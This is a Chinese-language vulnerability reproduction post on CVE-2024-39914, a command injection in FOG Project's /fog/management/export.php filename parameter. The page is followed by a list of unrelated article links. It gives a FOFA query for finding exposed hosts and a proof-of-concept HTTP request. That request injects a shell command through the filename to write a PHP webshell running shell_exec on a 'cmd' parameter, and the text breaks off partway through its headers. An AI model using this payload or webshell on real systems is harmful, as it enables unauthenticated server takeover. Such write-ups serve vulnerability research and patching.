当前位置: 首页 > news >正文

FOG Project 文件名命令注入漏洞复现(CVE-2024-39914)

0x01 产品简介

FOG是一个开源的计算机镜像解决方案,旨在帮助管理员轻松地部署、维护和克隆大量计算机。FOG Project 提供了一套功能强大的工具,使用户能够快速部署操作系统、软件和配置设置到多台计算机上,从而节省时间和精力。该项目支持基于网络的 PXE 启动、镜像创建和还原、硬件和软件清单管理、远程控制和监视等功能,为 IT 管理员和系统管理员提供了一个全面的工具集。

0x02 漏洞概述

该漏洞在FOGPROJECT中的packages/web/lib/fog/reportmaker.class.php文件受到命令注入漏洞的影响,该漏洞存在于/fog/management/export.php的filename参数,未经身份验证的远程攻击者可利用此漏洞执行任意命令,获取服务器权限。

0x03 影响范围

FOGPROJECT < 1.5.10.34

0x04 复现环境

FOFA:body="FOG Project"

0x05 漏洞复现

PoC

写入Webshell

POST /fog/management/export.php?filename=$(echo+'<?php+echo+shell_exec($_GET['"'cmd'"']);+?>'+>+rce.php)&type=pdf HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
http://www.lryc.cn/news/402644.html

相关文章:

  • JavaScript 表单
  • python程序设定定时任务
  • win10 查看 jks 的公钥
  • 蓝牙模块在智能体育设备中的创新应用
  • 智能家居和智能家电有什么区别?
  • SpringBoot3 + Vue3 学习 Day 1
  • 如何使用在线工具将手机相册中的图片转换为JPG格式
  • C#医学影像管理系统源码(VS2013)
  • Qt Creator 项目Console 项目踩坑日记
  • [MAUI 项目实战] 笔记App(一):程序设计
  • VisualRules-Web案例展示(一)
  • 使用Docker 实现 MySQL 循环复制(三)
  • Spring如何管理Mapper
  • NFS存储、API资源对象StorageClass、Ceph存储-搭建ceph集群和Ceph存储-在k8s里使用ceph(2024-07-16)
  • 「Vue组件化」封装i18n国际化
  • 【Git远程操作】理解分布式管理 | 创建远程仓库
  • OJ-0718
  • python抓包 -- 用wireshark抓包、解析--scapy、PyShark
  • uni-app开发日志:unicloud使用时遇到的问题解决汇总(不断补充)
  • 插入排序算法详解
  • parallel 详细解析 Java 8 Stream API 中的 parallel 方法
  • 不同业务场景下通过mars3d实现绕点旋转效果
  • 重塑水利未来:智慧水利解决方案的探索与实践,从物联网、大数据到人工智能,科技如何赋能水利行业,实现智慧化管理与决策
  • IO、进程、线程03
  • 算法力扣刷题记录 五十二【617.合并二叉树】
  • Java中的ArrayList和LinkedList有什么区别?
  • Linux C++ 058-设计模式之解释器模式
  • MDK5没有DeviceName
  • 在LabVIEW中实现图像矫正
  • Apache httpd-vhosts.conf 配置详解(附Demo)